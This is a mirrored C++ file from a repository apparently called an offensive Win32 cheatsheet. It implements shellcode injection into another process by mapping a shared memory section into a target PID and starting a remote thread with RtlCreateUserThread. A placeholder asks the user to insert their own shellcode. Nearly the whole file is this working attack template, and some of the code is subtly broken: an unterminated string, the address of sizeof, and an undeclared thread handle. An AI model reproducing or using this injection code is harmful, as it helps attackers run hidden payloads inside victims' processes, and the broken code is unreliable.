mirror of
https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet
synced 2026-06-08 15:46:38 +00:00
matthieu-hackwitharts
51 lines
2.6 KiB
C++
51 lines
2.6 KiB
C++
#include <iostream>
|
|
#include <Windows.h>
|
|
|
|
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
|
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID;
|
|
|
|
typedef NTSTATUS(NTAPI *myNtCreateSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle);
|
|
typedef NTSTATUS(NTAPI *myNtMapViewOfSection)(HANDLE SectionHandle,HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
|
|
typedef FARPROC (WINAPI * myRtlCreateUserThread)(
|
|
IN HANDLE ProcessHandle,
|
|
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
|
|
IN BOOLEAN CreateSuspended,
|
|
IN ULONG StackZeroBits,
|
|
IN OUT PULONG StackReserved,
|
|
IN OUT PULONG StackCommit,
|
|
IN PVOID StartAddress,
|
|
IN PVOID StartParameter OPTIONAL,
|
|
OUT PHANDLE ThreadHandle,
|
|
OUT PCLIENT_ID ClientId);
|
|
|
|
int main(){
|
|
|
|
char shellcode[] = {0x45,0x54,0x2b...,0x0}; //replace with your shellcode
|
|
|
|
myNtCreateSection NtCreateSection = (myNtCreateSection)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtCreateSection);
|
|
myNtMapViewOfSection NtMapViewOfSection = (myNtMapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtMapViewOfSection");
|
|
|
|
HANDLE section;
|
|
|
|
NTSTATUS success_section = NtCreateSection(§ion,SECTION_ALL_ACCESS,NULL,(PLARGE_INTEGER)&(sizeof(shellcode)),PAGE_EXECUTE_READWRITE,SEC_COMMIT,NULL);
|
|
|
|
PVOID base_addr = NULL;
|
|
NTSTATUS success_view = NtMapViewOfSection(section,GetCurrentProcess(),&base_addr,NULL,NULL,NULL,(SIZE_T*)&(sizeof(shellcode)),ViewUnmap,NULL,PAGE_READWRITE);
|
|
|
|
memcpy(base_addr,shellcode,sizeof(shellcode));
|
|
|
|
HANDLE remote_proc = OpenProcess(PROCESS_ALL_ACCESS,NULL,1234);
|
|
NTSTATUS success_remote = NtMapViewOfSection(section,remote_proc,&base_addr,NULL,NULL,NULL,(SIZE_T*)&(sizeof(shellcode)),ViewUnmap,NULL,PAGE_EXECUTE_READ);
|
|
|
|
HANDLE thread = NULL;
|
|
CLIENT_ID cid;
|
|
myRtlCreateUserThread RtlCreateUserThread = (myRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll.dll"),"RtlCreateUserThread");
|
|
RtlCreateUserThread(remote_proc, NULL, FALSE, 0, 0, 0, base_addr, 0, &hThread, &cid);
|
|
if (thread != NULL) {
|
|
WaitForSingleObject(thread, 500);
|
|
CloseHandle(thread);
|
|
return 0;
|
|
}
|
|
|
|
|
|
} |